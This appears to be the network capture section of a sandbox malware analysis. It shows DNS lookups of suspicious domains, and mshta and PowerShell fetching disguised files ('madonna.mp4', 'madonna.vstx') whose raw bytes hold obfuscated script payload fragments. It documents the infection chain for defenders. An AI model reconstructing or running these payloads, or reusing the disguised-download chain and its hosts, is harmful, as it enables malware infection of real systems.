Dec 21, 2024 19:24:57.472590923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472640991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472640991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472688913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472738028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472788095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472788095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472788095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472835064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472887039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472887039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472887039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.472910881 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.473002911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473002911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473002911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473102093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473102093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473150015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473150015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473197937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473197937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473247051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473247051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473345995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473345995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473392963 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473412991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:57.473449945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473449945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473449945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473495960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473495960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473545074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473545074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473593950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473692894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473692894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473741055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473789930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473789930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473839998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473839998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473887920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473887920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.473937035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.474035978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:57.474035978 CET	49766	443	192.168.11.20	172.67.184.254

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 19:22:59.155730963 CET	192.168.11.20	1.1.1.1	0x27ea	Standard query (0)	pawpaws.readit-carfanatics.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:23:03.270605087 CET	192.168.11.20	1.1.1.1	0x9c98	Standard query (0)	pawpaws1.readit-carfanatics.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:25.165827990 CET	192.168.11.20	1.1.1.1	0x6869	Standard query (0)	crayonutteh.click	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:31.843683004 CET	192.168.11.20	1.1.1.1	0xd097	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:31.843784094 CET	192.168.11.20	1.1.1.1	0xa5db	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 21, 2024 19:24:47.826492071 CET	192.168.11.20	1.1.1.1	0xb0e3	Standard query (0)	klippetamea8.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 19:22:59.339905024 CET	1.1.1.1	192.168.11.20	0x27ea	No error (0)	pawpaws.readit-carfanatics.com	172.67.201.143	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:22:59.339905024 CET	1.1.1.1	192.168.11.20	0x27ea	No error (0)	pawpaws.readit-carfanatics.com	104.21.52.169	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:23:03.463649035 CET	1.1.1.1	192.168.11.20	0x9c98	No error (0)	pawpaws1.readit-carfanatics.com	172.67.201.143	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:23:03.463649035 CET	1.1.1.1	192.168.11.20	0x9c98	No error (0)	pawpaws1.readit-carfanatics.com	104.21.52.169	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:25.304903984 CET	1.1.1.1	192.168.11.20	0x6869	No error (0)	crayonutteh.click	104.21.44.253	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:25.304903984 CET	1.1.1.1	192.168.11.20	0x6869	No error (0)	crayonutteh.click	172.67.206.214	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:31.973900080 CET	1.1.1.1	192.168.11.20	0xa5db	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 21, 2024 19:24:31.973982096 CET	1.1.1.1	192.168.11.20	0xd097	No error (0)	www.google.com	142.250.64.164	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:47.963579893 CET	1.1.1.1	192.168.11.20	0xb0e3	No error (0)	klippetamea8.shop	172.67.184.254	A (IP address)	IN (0x0001)	false
Dec 21, 2024 19:24:47.963579893 CET	1.1.1.1	192.168.11.20	0xb0e3	No error (0)	klippetamea8.shop	104.21.92.22	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49742	172.67.201.143	443	3068	C:\Windows\SysWOW64\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:22:59 UTC	346	OUT	GET /madonna.mp4 HTTP/1.1 Accept: / Accept-Language: en-US,en-GB;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: pawpaws.readit-carfanatics.com Connection: Keep-Alive
2024-12-21 18:23:00 UTC	923	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:23:00 GMT Content-Type: video/mp4 Content-Length: 537096 Connection: close Accept-Ranges: bytes ETag: "ce7aa8e9e4e4b562ff54d31f64a65b56" Last-Modified: Fri, 20 Dec 2024 19:37:26 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pb5%2BDggp2Avwk8XRLiqTWR1x7gkWnooyF%2BsGVZpKTrLmLvqsBgQkSyyiryytWckVXxzFIjDS3R5RhibjnvyBNc8r0Vhsze4QAZ51nl7Nw0OYs1caD6cfawz9OyzZp2XFxVuXKQLJDxTlQwNWScmk1lw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e6982e3567d2-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129579&min_rtt=129479&rtt_var=27479&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2880&recv_bytes=928&delivery_rate=29487&cwnd=252&unsent_bytes=0&cid=ff124b3eee2b7460&ts=503&x=0"
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 36 36 76 37 35 63 36 65 54 36 33 47 37 34 48 36 39 54 36 66 6a 36 65 50 32 30 4c 36 61 58 37 38 6b 37 39 58 35 31 76 36 61 4c 37 34 5a 32 38 45 36 38 4f 36 38 45 35 36 63 35 37 76 35 33 77 32 39 52 37 62 45 37 36 75 36 31 56 37 32 42 32 30 65 36 37 67 36 31 51 36 36 6a 35 31 71 36 61 42 37 31 50 33 64 4f 32 30 6b 32 37 78 32 37 4c 33 62 4a 36 36 62 36 66 57 37 32 6d 32 30 73 32 38 4f 37 36 69 36 31 76 37 32 4b 32 30 6c 35 37 4b 34 39 77 36 31 4e 34 37 7a 36 36 44 32 30 6c 33 64 59 32 30 69 33 30 64 33 62 59 35 37 5a 34 39 6c 36 31 47 34 37 70 36 36 44 32 30 79 33 63 62 32 30 68 36 38 69 36 38 48 35 36 68 35 37 62 35 33 62 32 65 73 36 63 45 36 35 64 36 65 47 36 37 4a 37 34 45 36 38 44 33 62 56 32 30 7a 35 37 4b 34 39 50 36 31 55 34 37 6a 36 36 44 32 62 6b Data Ascii: 66v75c6eT63G74H69T6fj6eP20L6aX78k79X51v6aL74Z28E68O68E56c57v53w29R7bE76u61V72B20e67g61Q66j51q6aB71P3dO20k27x27L3bJ66b6fW72m20s28O76i61v72K20l57K49w61N47z66D20l3dY20i30d3bY57Z49l61G47p66D20y3cb20h68i68H56h57b53b2es6cE65d6eG67J74E68D3bV20z57K49P61U47j66D2bk
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 31 55 33 30 6a 33 30 6f 33 34 63 32 63 6b 33 39 44 33 39 67 33 35 4a 32 63 58 33 39 7a 33 38 71 33 32 43 32 63 47 33 39 75 33 39 4f 33 37 6f 32 63 7a 33 39 49 33 39 43 33 38 75 32 63 75 33 39 72 33 39 59 33 35 57 32 63 45 33 39 66 33 39 70 33 31 6b 32 63 67 33 39 55 33 31 65 33 33 45 32 63 42 33 39 55 33 32 50 33 36 64 32 63 6a 33 39 42 33 39 56 33 36 69 32 63 50 33 39 4a 33 39 4a 33 33 4e 32 63 78 33 39 6a 33 38 54 33 39 76 32 63 58 33 39 4c 33 38 6d 33 36 45 32 63 5a 33 39 55 33 39 42 33 37 64 32 63 4c 33 39 52 33 31 59 33 33 45 32 63 4f 33 39 77 33 32 63 33 31 44 32 63 56 33 39 6d 33 31 42 33 37 6d 32 63 66 33 39 6c 33 36 45 33 36 79 32 63 6e 33 39 55 33 35 65 33 39 6b 32 63 69 33 39 4c 33 37 59 33 30 56 32 63 4d 33 39 75 33 37 4d 33 31 55 32 63 68 33 Data Ascii: 1U30j30o34c2ck39D39g35J2cX39z38q32C2cG39u39O37o2cz39I39C38u2cu39r39Y35W2cE39f39p31k2cg39U31e33E2cB39U32P36d2cj39B39V36i2cP39J39J33N2cx39j38T39v2cX39L38m36E2cZ39U39B37d2cL39R31Y33E2cO39w32c31D2cV39m31B37m2cf39l36E36y2cn39U35e39k2ci39L37Y30V2cM39u37M31U2ch3
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 58 33 33 4d 33 38 6b 32 63 79 33 39 49 33 33 54 33 32 43 32 63 44 33 39 7a 33 33 44 33 36 69 32 63 50 33 39 6b 33 33 4a 33 37 68 32 63 46 33 39 48 33 34 63 33 39 78 32 63 63 33 39 70 33 35 6d 33 31 4d 32 63 49 33 39 68 33 34 46 33 37 6d 32 63 79 33 39 48 33 33 72 33 31 4e 32 63 75 33 39 4c 33 35 4d 33 30 51 32 63 6a 33 39 6a 33 34 77 33 38 71 32 63 77 33 39 4d 33 34 68 33 38 6f 32 63 61 33 39 41 33 33 44 33 37 5a 32 63 45 33 39 44 33 33 64 33 34 6a 32 63 4e 33 39 53 33 33 41 33 33 4c 32 63 6c 33 39 41 33 35 63 33 30 51 32 63 43 33 39 67 33 33 45 33 31 76 32 63 48 33 39 71 33 33 6f 33 34 45 32 63 59 33 39 74 33 33 79 33 38 57 32 63 4b 33 39 6c 33 33 42 33 34 50 32 63 49 33 39 79 33 33 6c 33 35 49 32 63 65 33 39 66 33 32 68 33 39 76 32 63 65 33 39 49 33 34 Data Ascii: X33M38k2cy39I33T32C2cD39z33D36i2cP39k33J37h2cF39H34c39x2cc39p35m31M2cI39h34F37m2cy39H33r31N2cu39L35M30Q2cj39j34w38q2cw39M34h38o2ca39A33D37Z2cE39D33d34j2cN39S33A33L2cl39A35c30Q2cC39g33E31v2cH39q33o34E2cY39t33y38W2cK39l33B34P2cI39y33l35I2ce39f32h39v2ce39I34
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 33 34 63 33 37 6e 32 63 4b 33 39 55 33 34 6d 33 36 77 32 63 4a 33 39 4a 33 33 56 33 36 4f 32 63 44 33 39 44 33 33 58 33 31 6d 32 63 46 33 39 77 33 33 69 33 35 79 32 63 70 33 39 4f 33 33 71 33 36 42 32 63 69 33 39 54 33 34 67 33 36 74 32 63 62 33 39 56 33 34 46 33 36 52 32 63 56 33 39 5a 33 33 75 33 34 70 32 63 74 33 39 4d 33 35 44 33 30 71 32 63 65 33 39 61 33 34 46 33 36 49 32 63 64 33 39 65 33 33 69 33 32 6b 32 63 77 33 39 54 33 33 57 33 33 58 32 63 49 33 39 78 33 32 67 33 39 64 32 63 72 33 39 62 33 32 46 33 39 71 32 63 6f 33 39 73 33 33 56 33 36 6e 32 63 44 33 39 44 33 33 74 33 38 64 32 63 4a 33 39 68 33 35 74 33 31 74 32 63 74 33 39 72 33 34 54 33 36 4f 32 63 4a 33 39 68 33 33 58 33 31 44 32 63 6b 33 39 77 33 33 78 33 32 49 32 63 7a 33 39 69 33 33 4a Data Ascii: 34c37n2cK39U34m36w2cJ39J33V36O2cD39D33X31m2cF39w33i35y2cp39O33q36B2ci39T34g36t2cb39V34F36R2cV39Z33u34p2ct39M35D30q2ce39a34F36I2cd39e33i32k2cw39T33W33X2cI39x32g39d2cr39b32F39q2co39s33V36n2cD39D33t38d2cJ39h35t31t2ct39r34T36O2cJ39h33X31D2ck39w33x32I2cz39i33J
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 33 41 33 34 57 32 63 63 33 39 77 33 35 53 33 30 67 32 63 6a 33 39 48 33 33 66 33 38 49 32 63 72 33 39 67 33 32 44 33 39 51 32 63 59 33 39 42 33 35 4e 33 30 51 32 63 51 33 39 4a 33 33 49 33 31 78 32 63 44 33 39 67 33 33 64 33 33 58 32 63 76 33 39 4a 33 33 73 33 37 64 32 63 48 33 39 6f 33 33 4e 33 35 41 32 63 59 33 39 4d 33 34 6d 33 39 7a 32 63 6a 33 39 6b 33 35 66 33 31 64 32 63 75 33 39 78 33 34 73 33 36 44 32 63 41 33 39 57 33 34 42 33 39 6a 32 63 67 33 39 57 33 33 4b 33 35 4e 32 63 4b 33 39 44 33 32 53 33 39 76 32 63 54 33 39 75 33 34 6b 33 38 5a 32 63 4f 33 39 43 33 33 42 33 31 44 32 63 54 33 39 43 33 33 72 33 36 4c 32 63 4f 33 39 4f 33 33 67 33 34 67 32 63 64 33 39 65 33 33 43 33 32 46 32 63 6f 33 39 61 33 33 58 33 33 5a 32 63 49 33 39 4a 33 35 78 33 Data Ascii: 3A34W2cc39w35S30g2cj39H33f38I2cr39g32D39Q2cY39B35N30Q2cQ39J33I31x2cD39g33d33X2cv39J33s37d2cH39o33N35A2cY39M34m39z2cj39k35f31d2cu39x34s36D2cA39W34B39j2cg39W33K35N2cK39D32S39v2cT39u34k38Z2cO39C33B31D2cT39C33r36L2cO39O33g34g2cd39e33C32F2co39a33X33Z2cI39J35x3
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 57 33 31 66 32 63 79 33 39 6b 33 34 79 33 38 59 32 63 72 33 39 48 33 34 6d 33 39 62 32 63 62 33 39 78 33 33 76 33 30 4e 32 63 74 33 39 6e 33 35 53 33 30 56 32 63 72 33 39 4f 33 33 7a 33 31 70 32 63 6c 33 39 65 33 35 49 33 31 72 32 63 4a 33 39 43 33 33 4a 33 37 66 32 63 54 33 39 54 33 34 4d 33 38 4d 32 63 77 33 39 54 33 34 75 33 36 72 32 63 43 33 39 76 33 33 4b 33 37 53 32 63 7a 33 39 77 33 34 63 33 38 59 32 63 6b 33 39 41 33 33 63 33 33 77 32 63 4f 33 39 75 33 33 62 33 38 6e 32 63 76 33 39 68 33 33 74 33 36 54 32 63 62 33 39 48 33 33 50 33 38 6f 32 63 78 33 39 47 33 33 49 33 30 48 32 63 6b 33 39 69 33 34 51 33 38 5a 32 63 74 33 39 62 33 32 53 33 39 77 32 63 44 33 39 68 33 34 70 33 38 70 32 63 42 33 39 6b 33 33 47 33 33 49 32 63 61 33 39 4e 33 34 52 33 39 Data Ascii: W31f2cy39k34y38Y2cr39H34m39b2cb39x33v30N2ct39n35S30V2cr39O33z31p2cl39e35I31r2cJ39C33J37f2cT39T34M38M2cw39T34u36r2cC39v33K37S2cz39w34c38Y2ck39A33c33w2cO39u33b38n2cv39h33t36T2cb39H33P38o2cx39G33I30H2ck39i34Q38Z2ct39b32S39w2cD39h34p38p2cB39k33G33I2ca39N34R39
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 33 35 64 32 63 6e 33 39 76 33 33 61 33 32 69 32 63 47 33 39 71 33 34 6d 33 39 49 32 63 59 33 39 66 33 33 73 33 36 55 32 63 72 33 39 4a 33 33 45 33 36 79 32 63 75 33 39 66 33 33 74 33 32 6f 32 63 7a 33 39 52 33 33 50 33 35 53 32 63 42 33 39 6e 33 33 61 33 33 57 32 63 71 33 39 5a 33 33 50 33 33 76 32 63 77 33 39 43 33 33 77 33 31 51 32 63 65 33 39 58 33 33 6d 33 35 51 32 63 56 33 39 74 33 33 6a 33 37 52 32 63 59 33 39 54 33 34 50 33 37 65 32 63 67 33 39 6f 33 33 66 33 36 7a 32 63 73 33 39 4a 33 33 64 33 30 56 32 63 66 33 39 48 33 35 67 33 31 53 32 63 50 33 39 50 33 33 53 33 31 79 32 63 51 33 39 78 33 33 59 33 34 6f 32 63 4e 33 39 6f 33 33 54 33 31 57 32 63 74 33 39 63 33 33 54 33 35 46 32 63 69 33 39 79 33 35 75 33 31 69 32 63 59 33 39 77 33 33 71 33 35 42 Data Ascii: 35d2cn39v33a32i2cG39q34m39I2cY39f33s36U2cr39J33E36y2cu39f33t32o2cz39R33P35S2cB39n33a33W2cq39Z33P33v2cw39C33w31Q2ce39X33m35Q2cV39t33j37R2cY39T34P37e2cg39o33f36z2cs39J33d30V2cf39H35g31S2cP39P33S31y2cQ39x33Y34o2cN39o33T31W2ct39c33T35F2ci39y35u31i2cY39w33q35B
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 31 45 32 63 55 33 39 4a 33 35 67 33 31 54 32 63 75 33 39 51 33 34 50 33 39 6e 32 63 58 33 39 75 33 32 61 33 39 56 32 63 4c 33 39 76 33 35 53 33 30 43 32 63 52 33 39 6e 33 33 45 33 34 4c 32 63 51 33 39 64 33 34 71 33 36 68 32 63 4a 33 39 58 33 34 53 33 39 43 32 63 47 33 39 4c 33 33 54 33 33 72 32 63 4a 33 39 70 33 33 65 33 32 4b 32 63 6d 33 39 43 33 34 64 33 39 43 32 63 70 33 39 70 33 35 69 33 30 6b 32 63 4f 33 39 4a 33 35 71 33 31 56 32 63 6e 33 39 6c 33 33 64 33 37 57 32 63 42 33 39 6a 33 34 6e 33 36 71 32 63 53 33 39 7a 33 35 4a 33 30 57 32 63 79 33 39 4e 33 35 68 33 31 4c 32 63 62 33 39 69 33 35 4d 33 31 56 32 63 52 33 39 48 33 33 51 33 33 4f 32 63 4b 33 39 42 33 34 56 33 37 61 32 63 76 33 39 47 33 34 53 33 37 41 32 63 68 33 39 77 33 33 4f 33 30 56 32 Data Ascii: 1E2cU39J35g31T2cu39Q34P39n2cX39u32a39V2cL39v35S30C2cR39n33E34L2cQ39d34q36h2cJ39X34S39C2cG39L33T33r2cJ39p33e32K2cm39C34d39C2cp39p35i30k2cO39J35q31V2cn39l33d37W2cB39j34n36q2cS39z35J30W2cy39N35h31L2cb39i35M31V2cR39H33Q33O2cK39B34V37a2cv39G34S37A2ch39w33O30V2
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 59 32 63 6d 33 39 48 33 33 4b 33 32 48 32 63 75 33 39 7a 33 33 64 33 34 73 32 63 66 33 39 5a 33 33 5a 33 31 55 32 63 4a 33 39 48 33 32 72 33 39 74 32 63 45 33 39 70 33 34 4f 33 37 64 32 63 46 33 39 69 33 33 4d 33 34 61 32 63 4a 33 39 67 33 34 45 33 36 68 32 63 76 33 39 4b 33 34 48 33 36 73 32 63 4c 33 39 6b 33 34 74 33 37 64 32 63 54 33 39 7a 33 34 4d 33 36 53 32 63 78 33 39 53 33 33 77 33 38 64 32 63 4a 33 39 47 33 32 6f 33 39 6c 32 63 54 33 39 53 33 34 78 33 39 5a 32 63 4f 33 39 50 33 35 53 33 31 45 32 63 76 33 39 6a 33 35 78 33 31 4f 32 63 76 33 39 77 33 33 78 33 35 56 32 63 53 33 39 67 33 33 49 33 37 5a 32 63 4f 33 39 4e 33 35 61 33 30 46 32 63 64 33 39 77 33 35 66 33 30 6d 32 63 6c 33 39 6a 33 33 52 33 35 44 32 63 73 33 39 53 33 33 4e 33 38 64 32 63 Data Ascii: Y2cm39H33K32H2cu39z33d34s2cf39Z33Z31U2cJ39H32r39t2cE39p34O37d2cF39i33M34a2cJ39g34E36h2cv39K34H36s2cL39k34t37d2cT39z34M36S2cx39S33w38d2cJ39G32o39l2cT39S34x39Z2cO39P35S31E2cv39j35x31O2cv39w33x35V2cS39g33I37Z2cO39N35a30F2cd39w35f30m2cl39j33R35D2cs39S33N38d2c
2024-12-21 18:23:00 UTC	1369	IN	Data Raw: 32 63 45 33 39 6e 33 33 69 33 37 61 32 63 55 33 39 51 33 35 56 33 30 69 32 63 73 33 39 57 33 33 4c 33 33 67 32 63 72 33 39 57 33 33 4a 33 34 65 32 63 43 33 39 72 33 33 61 33 31 67 32 63 4e 33 39 42 33 33 67 33 36 6e 32 63 79 33 39 4b 33 34 48 33 37 66 32 63 6f 33 39 71 33 33 51 33 38 70 32 63 45 33 39 5a 33 33 65 33 36 56 32 63 4c 33 39 4a 33 34 43 33 39 75 32 63 57 33 39 6f 33 35 41 33 30 49 32 63 54 33 39 45 33 33 4f 33 36 63 32 63 46 33 39 58 33 34 66 33 37 4b 32 63 68 33 39 4f 33 34 50 33 36 44 32 63 48 33 39 76 33 33 63 33 33 4a 32 63 4a 33 39 70 33 33 75 33 34 42 32 63 47 33 39 57 33 33 63 33 30 53 32 63 73 33 39 6e 33 34 54 33 36 74 32 63 70 33 39 67 33 34 4b 33 38 5a 32 63 42 33 39 59 33 33 54 33 30 75 32 63 76 33 39 65 33 35 5a 33 30 51 32 63 4c Data Ascii: 2cE39n33i37a2cU39Q35V30i2cs39W33L33g2cr39W33J34e2cC39r33a31g2cN39B33g36n2cy39K34H37f2co39q33Q38p2cE39Z33e36V2cL39J34C39u2cW39o35A30I2cT39E33O36c2cF39X34f37K2ch39O34P36D2cH39v33c33J2cJ39p33u34B2cG39W33c30S2cs39n34T36t2cp39g34K38Z2cB39Y33T30u2cv39e35Z30Q2cL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49743	172.67.201.143	443	8068	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 18:23:03 UTC	93	OUT	GET /madonna.vstx HTTP/1.1 Host: pawpaws1.readit-carfanatics.com Connection: Keep-Alive
2024-12-21 18:23:04 UTC	1004	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 18:23:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9504398 Connection: close X-Powered-By: Express ETag: W/"91068e-6OrFM0+DFzbJ6qY50YT5HhMd5SA" Set-Cookie: connect.sid=s%3A-8yIxmDNYdcKOL1ER9jJhhSD85KtW-ky.QqcTYdOp9aAYaD0OCtghemMVkPDvllQUkPLGJ7K0UKA; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHC598Zz3h4tcxEszx1%2BX7mEK4Y6hHOl8Zh84OJYQqmr1uwfzLBxoKjQ%2Fwsrn8QWjmBnFzknXpKhOqa9dgzy1R9ioDr6yrllflrdM6x8DeBnage%2FtvkVX0CLyBHHicVoYKIC%2FJAX2aiqqrC5j%2F9I6oQn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59e6b1df56a54f-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129313&min_rtt=129212&rtt_var=27416&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2859&recv_bytes=707&delivery_rate=29565&cwnd=252&unsent_bytes=0&cid=41283e09868df008&ts=633&x=0"
2024-12-21 18:23:04 UTC	365	IN	Data Raw: 24 39 45 49 5a 50 53 52 31 37 58 76 4b 47 58 4e 4a 44 39 70 46 55 4d 73 6b 33 42 74 62 50 39 42 43 7a 4e 39 55 50 76 73 61 72 4d 6d 7a 4a 34 55 6b 78 6c 42 77 49 65 68 4a 39 68 44 4d 44 4c 37 58 50 38 65 32 67 37 37 4b 51 71 53 4b 67 38 4c 39 46 68 61 74 31 32 32 36 41 67 30 42 52 6d 43 41 59 69 31 78 55 72 59 41 68 77 31 75 49 6e 39 6c 51 67 47 57 51 70 69 30 6b 4c 33 42 69 61 30 53 66 78 58 5a 57 33 31 74 6e 57 6a 57 79 58 45 65 76 4f 62 74 63 37 5a 50 54 39 45 50 46 46 72 36 76 49 43 6f 77 6e 66 66 37 34 4f 31 55 79 33 70 6b 78 69 68 36 45 6a 6f 6c 32 52 56 36 37 79 31 75 57 43 45 49 39 55 4f 33 79 69 7a 30 71 69 4d 47 34 79 58 70 72 43 7a 34 6c 4c 6b 61 69 4d 62 64 33 63 53 61 33 6d 7a 76 6e 4c 4f 32 35 46 4c 4b 35 50 5a 35 79 37 6e 33 32 56 64 45 61 Data Ascii: $9EIZPSR17XvKGXNJD9pFUMsk3BtbP9BCzN9UPvsarMmzJ4UkxlBwIehJ9hDMDL7XP8e2g77KQqSKg8L9Fhat1226Ag0BRmCAYi1xUrYAhw1uIn9lQgGWQpi0kL3Bia0SfxXZW31tnWjWyXEevObtc7ZPT9EPFFr6vICownff74O1Uy3pkxih6Ejol2RV67y1uWCEI9UO3yiz0qiMG4yXprCz4lLkaiMbd3cSa3mzvnLO25FLK5PZ5y7n32VdEa
2024-12-21 18:23:04 UTC	1369	IN	Data Raw: 52 6a 34 6d 71 30 42 53 46 64 50 35 52 41 69 6f 56 33 6c 62 62 79 4e 35 6b 67 6b 74 36 64 4e 72 4a 38 4a 6b 72 50 4e 69 65 53 48 31 4c 41 37 55 45 6d 37 51 43 70 50 48 71 63 67 45 58 30 4b 64 6f 70 31 6d 77 75 5a 4a 51 44 73 65 6e 6f 39 36 38 5a 61 5a 6a 5a 31 68 44 74 57 4b 6c 44 44 69 4b 44 46 32 67 42 4d 68 6c 63 49 34 68 76 39 35 51 63 5a 77 50 33 56 70 42 6a 67 4c 6a 46 33 70 6b 35 63 62 4f 57 66 32 58 68 74 52 46 46 6f 46 31 39 70 20 3d 20 22 47 65 74 60 42 60 79 74 22 0d 0a 0d 0a 24 77 6d 6a 6e 6b 59 52 4f 30 6d 53 4b 56 76 39 55 37 30 65 38 72 34 43 75 51 6e 31 34 46 46 68 56 6f 58 6a 7a 56 6e 47 6e 62 76 72 47 56 66 63 38 43 67 62 44 55 51 55 42 7a 6d 45 70 6a 6e 64 38 76 30 62 48 32 6d 4d 44 50 5a 6c 55 75 34 47 35 43 34 54 56 78 48 42 65 39 45 Data Ascii: Rj4mq0BSFdP5RAioV3lbbyN5kgkt6dNrJ8JkrPNieSH1LA7UEm7QCpPHqcgEX0Kdop1mwuZJQDseno968ZaZjZ1hDtWKlDDiKDF2gBMhlcI4hv95QcZwP3VpBjgLjF3pk5cbOWf2XhtRFFoF19p = "Get`B`yt"$wmjnkYRO0mSKVv9U70e8r4CuQn14FFhVoXjzVnGnbvrGVfc8CgbDUQUBzmEpjnd8v0bH2mMDPZlUu4G5C4TVxHBe9E
